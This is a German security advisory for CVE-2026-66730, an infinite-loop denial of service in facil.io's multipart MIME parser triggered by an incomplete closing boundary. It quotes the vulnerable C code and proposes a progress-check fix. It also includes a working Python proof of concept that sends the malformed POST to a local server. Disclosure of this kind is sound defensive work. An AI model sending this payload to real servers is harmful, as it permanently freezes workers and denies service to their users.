
Sicherheitshinweis: Endlosschleifen-DoS im facil.io MIME-Parser (Partielle Grenze)
Zugewiesene CVE-ID: CVE-2026-66730
Produkt: facil.io
Betroffene Versionen: facil.io >= 0.6.0 (alle 0.6.x, alle 0.7.x, master); eingeführt zusammen mit dem MIME-Parser in 0.6.0
Komponente: lib/facil/http/http.c, lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-835 (Schleife mit unerreichbarer Ausstiegsbedingung), CWE-400 (Unkontrollierter Ressourcenverbrauch)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Forscher: Theodosis Paidakis
Eine Multipart-/Form-Data-Anfrage, deren Body mit einer unvollständigen Abschluss-Boundary endet (z. B. --B- statt --B--\r\n), führt dazu, dass http_parse_body() bei 100% CPU-Auslastung in einer Endlosschleife läuft. Der MIME-Parser gibt 0 verbrauchte Bytes zurück, wenn er an einer unvollständigen Boundary hängen bleibt, aber die aufrufende Schleife prüft nur !done && !error. Keines der beiden Flags ist gesetzt, daher ruft sie den Parser endlos mit denselben Daten erneut auf. Der Server stürzt nicht ab, daher wird kein Worker neu gestartet. Eine nicht authentifizierte POST-Anfrage friert einen Worker dauerhaft ein.
Dies steht in keinem Zusammenhang mit CVE-2026-41146, bei dem es sich um eine Endlosschleife im JSON-Parser (fio_json_parser.h) handelt. Dieser Fehler liegt im MIME-/Multipart-Parser.
Teil 1: Keine Fortschrittsprüfung im Aufrufer
lib/facil/http/http.c, Zeilen 1963-1967
// lib/facil/http/http.c:1963-1967
do {
size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
p.pos += cons; // += 0 when parser stalls
p.buffer = fiobj_data_pread(h->body, p.pos, 4096); // same slice returned again
} while (p.buffer.data && !p.p.done && !p.p.error); // neither flag set -> loops forever
Wenn http_mime_parse 0 zurückgibt und weder done noch error setzt, bleibt p.pos unverändert, fiobj_data_pread liefert denselben Puffer zurück, und die Schleife hat keinen Ausgang.
Teil 2: Wenn http_mime_parse 0 zurückgibt
lib/facil/http/parsers/http_mime_parser.h, Zeilen 314-329 und der consume_partial-Zweig
Der Parser durchsucht den Wertabschnitt nach einer vollständigen Boundary. Wenn der Body mit \n--B- endet (vier Bytes kürzer als eine vollständige Abschluss-Boundary \n--B--\r\n), findet die Suche ein \n, gefolgt von etwas, das wie der Anfang einer Boundary aussieht, ohne jedoch bestätigen zu können, dass es vollständig ist:
// lib/facil/http/parsers/http_mime_parser.h:314-329 (value scan)
do {
end = memchr(end, '\n', (size_t)(stop - end));
} while (end && ++end &&
(size_t)(stop - end) >= (4 + parser->boundary_len) &&
(end[0] != '-' || end[1] != '-' || memcmp(end+2, parser->boundary, parser->boundary_len)));
if (!end || end + 4 + parser->boundary_len >= stop) {
// partial boundary -- transition to consume_partial on first call
parser->in_obj = 1;
goto consume_partial;
}
Beim nächsten Aufruf ist in_obj bereits gesetzt. Der consume_partial-Zweig findet dasselbe \n vor --B- und setzt den Rückgabezeiger vor alle unverbrauchten Daten zurück:
// lib/facil/http/parsers/http_mime_parser.h (consume_partial branch, ~line 162-169)
} else if (end + 4 + parser->boundary_len >= stop) {
end -= 2;
if (end[0] == '\r') --end; // end now points before the \n
pos = end; // return pointer set behind any new data
goto end_of_data; // returns 0 bytes consumed
}
pos endet an der Stelle, an der es begonnen hat, oder davor. Die Funktion gibt 0 zurück. Zurück im Aufrufer bleibt cons = 0, p.pos bewegt sich nicht, und der Zyklus wiederholt sich.
Starten Sie den Server und führen Sie dann aus:
# poc_mime_infinite_loop.py
import socket, time
BOUNDARY = "B"
body = (
"--B\r\n"
"Content-Disposition: form-data; name=field\r\n"
"\r\n"
"value\r\n"
"--B-" # partial closing boundary: missing final '-\r\n'
).encode()
req = (
f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
f"Content-Type: multipart/form-data; boundary=B\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body
s = socket.socket()
s.settimeout(10)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
s.recv(4096)
print("got response - not vulnerable")
except socket.timeout:
print("hung for 10s - server spinning at 100% CPU")
Beobachtet: Serverprozess bei 99.7-100% CPU. kill -9 erforderlich, um den Server wiederherzustellen.
Ein eingefrorener Worker wird niemals beendet, sodass kein Neustart erfolgt. Bei genügend vielen Anfragen (entsprechend der Worker-Anzahl) stellt der Server dauerhaft die Bedienung aller Clients ein, bis er manuell neu gestartet wird. Es sind keine Authentifizierung, keine speziellen Header und kein vorheriger Zustand erforderlich.
Fügen Sie eine Fortschrittsprüfung in die Schleife in http_parse_body ein:
lib/facil/http/http.c, Zeilen 1963-1967 -- vorgeschlagene Behebung
// lib/facil/http/http.c:1963-1967 -- proposed fix
size_t last_pos = (size_t)-1;
do {
if (p.pos == last_pos) { p.p.error = 1; break; } // no progress: abort
last_pos = p.pos;
size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
p.pos += cons;
p.buffer = fiobj_data_pread(h->body, p.pos, 4096);
} while (p.buffer.data && !p.p.done && !p.p.error);